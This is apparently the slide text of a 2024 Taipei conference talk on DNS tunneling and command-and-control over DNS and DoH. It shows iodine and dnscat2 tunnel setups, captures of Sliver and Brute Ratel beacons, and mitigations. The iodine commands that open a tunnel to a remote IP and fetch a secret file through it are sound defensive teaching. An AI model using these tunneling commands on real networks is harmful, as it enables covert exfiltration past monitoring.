

CYBERSEC 2024
臺灣資安大會

5/14_{Tue} – 5/16_{Thu}
臺北南港展覽二館

**Generative
Future**

Threat Research Forum

Tunneling and C2 over DNS

Thursday, May 16 at 4:30pm



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Netskope

Agenda

- DNS 101
- Tunneling over DNS
 - Iodine
 - dnscat2
- C2 over DNS/DoH
 - Sliver
 - Brute Ratel
- Countermeasures and Takeaways




DNS 101



Name resolution in DNS


- Regular lookup
 - Over 53/UDP
- Zone Transfer
 - Over 53/TCP



https://miro.medium.com/v2/resize:fit:1400/format:webp/1*goSb1oow5UBNF3KkzvOX8A.png

Commonly (ab)used record types

Record Type	Description
A	Stores an IPv4 address
AAAA	Stores an IPv6 address
MX	Mail exchanger
CNAME	An alias for another domain name
TXT	Stores a text string



;; QUESTION SECTION:

;;_acme-challenge.example.com. IN TXT

;; ANSWER SECTION:

;;_acme-challenge.example.com. 3600 IN TXT "Tgll7jzpo904q7VUkMAutwBuBAjhPStwy_0GbICVKWY"

DNS over HTTPS (DoH)

- Enabled in modern browsers

Use secure DNS

Make it harder for people with access to your internet traffic to see which sites you visit. Chrome uses a secure connection to look up a site's IP address in the DNS (Domain Name System).




Select DNS provider

Enter custom DNS query URL


- OS default (when available)
- ✓ Add custom DNS service provider
- OpenDNS
- Cloudflare (1.1.1.1)
- CleanBrowsing (Family Filter)
- Google (Public DNS)

```
"Question": [  
  {  
    "name": "example.com",  
    "type": 1  
  }  
],  
"Answer": [  
  {  
    "name": "example.com",  
    "type": 1,  
    "TTL": 931,  
    "data": "93.184.215.14"  
  }  
]
```

DoH Providers Distribution



DoH Adoption






Tunneling over DNS



Security

Cloud smart





Iodine - server

- Tunnelling of IPv4 data through a DNS server

```
kali@kalixa:~$ sudo iodined -f 10.10.10.10 iodine.domain.not.exist
Enter password:
Opened dns0
Setting IP of dns0 to 10.10.10.10
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain iodine.domain.not.exist
```

Iodine - client

- Tunnelling of IPv4 data through a DNS server

```
ubuntu@ubuntu:~/git/iodine/bin$ sudo ./iodine -f 34.222.179.155 iodine.domain.not.exist
Enter tunnel password:
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for iodine.domain.not.exist to 34.222.179.155
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 10.10.10.1
Setting MTU of dns0 to 1130
Server tunnel IP is 10.10.10.10
```

\$ wget 10.10.10.10/secret.txt


Iodine

- DNS type supported: NULL, PRIVATE, TXT, SRV, MX, CNAME, A

```
> Frame 6: 241 bytes on wire (1928 bits), 241 bytes captured (1928 bits)
> Ethernet II, Src: 0e:c1:21:8d:34:1a (0e:c1:21:8d:34:1a), Dst: 0e:9d:b9:19:53:b5 (0e:9d:b9:19:
> Internet Protocol Version 4, Src: some-dns-server ( ), Dst: 172.31.48.68 (172.31.4
> User Datagram Protocol, Src Port: 53, Dst Port: 36725
√ Domain Name System (response)
  Transaction ID: 0x8cf7
  > Flags: 0x8400 Standard query response, No error
  Questions: 1
  Answer RRs: 1
  Authority RRs: 0
  Additional RRs: 0
  √ Queries
    √ 1mbbc8202hb00Y0gj0lž0Wg00wxb00Xb00zs0E00000FL0jiyd0000ekyDU0.6J00z0Cc0f00F7.test.com: tv
      Name: 1mbbc8202hb00Y0gj0lž0Wg00wxb00Xb00zs0E00000FL0jiyd0000ekyDU0.6J00z0Cc0f00F7.tes
      [Name Length: 87]
      [Label Count: 4]
      Type: A (1) (Host Address)
      Class: IN (0x0001)
  √ Answers
    √ [truncated]1mbbc8202hb00Y0gj0lž0Wg00wxb00Xb00zs0E00000FL0jiyd0000ekyDU0.6J00z0Cc0f00F7.
      Name: 1mbbc8202hb00Y0gj0lž0Wg00wxb00Xb00zs0E00000FL0jiyd0000ekyDU0.6J00z0Cc0f00F7.tes
      Type: CNAME (5) (Canonical NAME for an alias)
      Class: IN (0x0001)
      Time to live: 0 (0 seconds)
      Data length: 82
      CNAME: k0qVn0n0WCm0b0sp70ogb09000ya0ty0Ug0000ss8000JEga00008aLm.oxoZ0000000qab00iU0.
```

Iodine

- Downstream encoding: Base32, Base64, Base64u, Base128, or (only for TXT:) Raw (default: autodetect)




dnscat2

2	0.372531	some-dns-server	192.168.64.6	DNS	361	Standard query response 0x8df
3	1.016167	192.168.64.6	some-dns-server	DNS	138	Standard query 0x4339 AAAA 47
4	1.173726	some-dns-server	192.168.64.6	DNS	194	Standard query response 0x433
5	1.174308	192.168.64.6	some-dns-server	DNS	107	Standard query 0x42b2 AAAA b3
6	1.332103	some-dns-server	192.168.64.6	DNS	163	Standard query response 0x42b
7	2.182700	192.168.64.6	some-dns-server	DNS	107	Standard query 0xcd95 AAAA 4d

```
> Internet Protocol version 4, Src: some-dns-server ( ), Dst: 192.168.64.6 (192.168.64.6)
> User Datagram Protocol, Src Port: 53, Dst Port: 44355
< Domain Name System (response)
  Transaction ID: 0x4339
  > Flags: 0x8180 Standard query response, No error
  Questions: 1
  Answer RRs: 2
  Authority RRs: 0
  Additional RRs: 0
  < Queries
    < 475600c190f963c27235920000eafdc94ccee6807ce29a7ffc21bf6c15ed.6d9e.cat.test.com: type AAAA
      Name: 475600c190f963c27235920000eafdc94ccee6807ce29a7ffc21bf6c15ed.6d9e.cat.test.com
      [Name Length: 78]
      [Label Count: 5]
      Type: AAAA (28) (IP6 Address)
      Class: IN (0x0001)
    < Answers
      < 475600c190f963c27235920000eafdc94ccee6807ce29a7ffc21bf6c15ed.6d9e.cat.test.com: type AAAA
        Name: 475600c190f963c27235920000eafdc94ccee6807ce29a7ffc21bf6c15ed.6d9e.cat.test.com
        Type: AAAA (28) (IP6 Address)
```

Periodic rare query type (TXT)





C2 over DNS



Security

Cloud smart





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Malicious Python Package Hides **Sliver C2** Framework in Fake Requests Library Logo

📅 May 13, 2024 👤 Newsroom



<https://thehackernews.com/2024/05/malicious-python-package-hides-sliver.html>

Sliver

- Other than Cobalt Strike, gaining popularity among threat actors

99	99.323000	172.31.255.11	172.31.0.2	DNS	250	Standard query 0x4d7b A Lpg
100	99.365000	172.31.0.2	172.31.255.11	DNS	266	Standard query response 0x4
101	99.367000	172.31.255.11	172.31.0.2	DNS	120	Standard query 0x6851 TXT 6
102	99.392000	172.31.0.2	172.31.255.11	DNS	145	Standard query response 0x6
103	99.394000	172.31.255.11	172.31.0.2	DNS	112	Standard query 0xda80 TXT b
104	99.421000	172.31.0.2	172.31.255.11	DNS	205	Standard query response 0xc

> Frame 99: 250 bytes on wire (2000 bits), 250 bytes captured (2000 bits)
Raw packet data
> Internet Protocol Version 4, Src: 172.31.255.11, Dst: 172.31.0.2
> User Datagram Protocol, Src Port: 57203, Dst Port: 53
> Domain Name System (query)
Transaction ID: 0x4d7b
> Flags: 0x0100 Standard query
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
> Queries
> LpgEH3wbEN2PKzG6h2LrkKejkf35NPXmmjB33sYBrmugqr5n5u97QzH62fFsaNk.2QAJ6VPhWqUgAe7j415rsRG>
Name: LpgEH3wbEN2PKzG6h2LrkKejkf35NPXmmjB33sYBrmugqr5n5u97QzH62fFsaNk.2QAJ6VPhWqUgAe7
[Name Length: 204]

Long domain length in Sliver's DNS C2 beacons


63 bytes

63 bytes


27 bytes

```
Lpgfoj8kU8GzppgQjhhdrTF5tfz4MMq2f9xwDXiPhWhKABWx6gMh7LQBhqdJQVp.5aBj1UQD8CffZxXtCC8cEbmh3gSMRzrvRh3zUqDGUjvB4bfvrrwnKFKFrPrpC48.WZPiw6GY9UQr8TDGsHa9ZpGx4.slv-dns-20231225-000409.sil'
Lpgfoj8kU8GzppgaHhF8SepPwyXjVYgvpH17hkeAZQGAgrtMXXe9c3mravBqH5.XQtDrKzNVWYq6Zv28TFyrNL3GL5yec5Zfs52eXhZnUF2WwqnVrx62cYRBH9cJm4.JeCLhyXfZk1AH557J13f3zJet.slv-dns-20231225-000409.sil'
Lpgfoj8kU8GzppjDgUnY9brdFAQfGqWK76GV67jDeeRfie31e9E4psZa4AwmXSi.8KNGsw427R9vRDcDotbiZRLxntQhyzzgQtYcs6BJU45HZ7n4xsmHQzwd72Cgmvc.xxV8CWtf52gBgVSSxZRYNa5db.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznQ4w1f7JyHaH2tSfzPh5izPj5ff8gqvLW7QwSy2A7AzNiLqQY6.nNoJzbLJYUBPfftJFKkNjd7Epdev9BhZwwBWgewTkjNyt7Pih4j9sVunwJVYiq.iw1YZMeKYnMsB2tB3Z2DmZTQX.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznQKHSAzAwmsffHwnyvzzRAZ71Q5FWvx2p5YwFjCZe1Xja4NwRr.FtGawQ2ZrzBMxkhMvjWhWBVqf6eNaQwXp9G87cneqYnVnkWwhJERxKoBdKK3Sj.B9V1A17wqejMhkw5WRQSNxeq5.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznRj8wAL5NzEmbKqZYgDjzGijib2NomwiwNZRC7seH7QkmsN1GR.kfVpJ83DfuhQCCtajNNG66vdH5YgaX2Ww8j3k3qV5og55oPTxme6kekL3rUTBCE.9HQ1copFJMScwvmYywoAXhrSb.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznTxQYtKzwEQcrMhpwCZbXhKgb4Sa5Xce29dpdaeju2LLyb7uM.TXUNFJDtoWfUwNeZ6AtCp5mPjxJKGqEFc4DcC2VnmBn3TjY53vM6GqCa6gYBSDN.P9EUwS6JSTNKwZqShyGFayLa.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznVwf5fRQFTBFpncA6ditCE3Anoqxt3UAe4JWEMwbwAGzEFwqjK.r76DxHbAdgDGZ5JUanzZw62fYLSeco1WnnFT4FjZ3KgXPTxiAbwrc3hjcyPEV4.DMTb4gGkVB66fRRSNW7zvfW3q.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznWCYT9Lqoa9Zgt9dewvthHRdtjeoPcoajjo9tUEz35bBoXCekJ.RcPw9FgVL6PxPuqxqzrDN8pQ6XMBj78JcypQ137rNUCfoBwaiv7TDtKJ5VRCQnd.o2pPvrSRjWidAs4U8oicZeKRb.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznWTanvxPiT65GNHiDdVESYRkCjzCGaYDFSNjvQYpc5KEPhAwUr.XWU32sJf9nC8DrHmCnd5n36HXQsTybSMQuPXzAEwchTidTrjRh21YFeeijk2PRq.czNZiuqplCwnUi2JgZscS8tyA.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznXWeC2PpVndN2P9fzvKMyNabKtErZz4mwa2vHZRhFBwMcFejR.yQqJ9oeGix2RnosHp2Wbjf1VkB5Shb5r8nBVPJQmoNQWgz7Mss1FV1kdMLVCbV5.YZWtrSHKYdTaXxggn5vmqqlw1.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznXcP5zBy44zJqiFTJocymX8UsmNpwsWgAUPqvtBa2uv8bk5p5.bEBBaaRwzU7J5xwCCVsVNTcmru2SDE8y6fV9uSNwb1zv6A5FhCg21qirLMWPk3G.6xc3eSewzruxTRuTjMqtHZGM5.slv-dns-20231225-000409.sil'
Lpgfoj8kaB1FznY4Ne6h5Cd9R4sfFDWgw8RRjd7MDMtqHRQNTD2PyUu82JP19Gz.coiXrdEnt7ghWmbvsvoa6gACQnttRn3NwbTtynJkkT6SyrW4Wi9DzBh9ADG13D4.p2GFHLeaXvpiedWFFK9ZDCKow.slv-dns-20231225-000409.sil'
```

Domain Length Distribution (log scale)




Abnormal query name length




Brute Ratel C2 over DoH

- Commercial C2 framework



Brute Ratel C2 over DoH

- cloudflare-dns.com
- dns.google
- doh.opendns.com






Countermeasures & Takeaways



Mitigation

- Review of dormant firewall rules





Mitigation

- Review of dormant firewall rules
- Restrict DNS access to a limited allowed list

Name	Match	Action
DNS-office-to-internet	Forwarded IPv4, protocol <u>TCP</u> , UDP From any zone To wan, port 53	<u>Automatically rewrite</u> source IP


Mitigation

- Review of dormant firewall rules
- Restrict DNS access to a limited allowed list
- Anomaly detection: charset, length, entropy, ...



Mitigation

- Review of dormant firewall rules
- Restrict DNS access to a limited allowed list
- Anomaly detection: charset, length, entropy, ...
- Proxy DNS traffic for thorough security inspection, e.g., NRDs, NODs





THREAT LABS

@ CYBERSEC 2024
臺灣資安大會

netskope.com/threat-labs



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References

- <https://datatracker.ietf.org/doc/html/rfc8484>
- https://en.wikipedia.org/wiki/List_of_DNS_record_types
- <https://github.com/yarrick/iodine>
- <https://github.com/iagox86/dnscat2>
- <https://github.com/BishopFox/sliver>

DNS Profiles

Newly Registered Domain ☐ None ☒ Block ☐ Sinkhole

Security Risk - Command and Control s... ☐ None ☒ Block ☐ Sinkhole

Security Risk - Attack ☐ None ☒ Block ☐ Sinkhole

Security Risk - Phishing/Fraud ☐ None ☒ Block ☐ Sinkhole

Security Risk - Compromised/malicious ... ☐ None ☒ Block ☐ Sinkhole

Security Risk - Botnets ☐ None ☒ Block ☐ Sinkhole

Security Risk - Spam sites ☐ None ☒ Block ☐ Sinkhole

Security Risk - Ad Fraud ☐ None ☒ Block ☐ Sinkhole

Security Risk - Cryptocurrency Mining ☐ None ☒ Block ☐ Sinkhole

Security Risk - Hacking ☐ None ☒ Block ☐ Sinkhole

Security Risk - Malware Distribution Po... ☐ None ☒ Block ☐ Sinkhole

Security Risk - Spyware & Questionable... ☐ None ☒ Block ☐ Sinkhole

Security Risk - DGA ☐ None ☒ Block ☐ Sinkhole

Newly Observed Domain ☐ None ☒ Block ☐ Sinkhole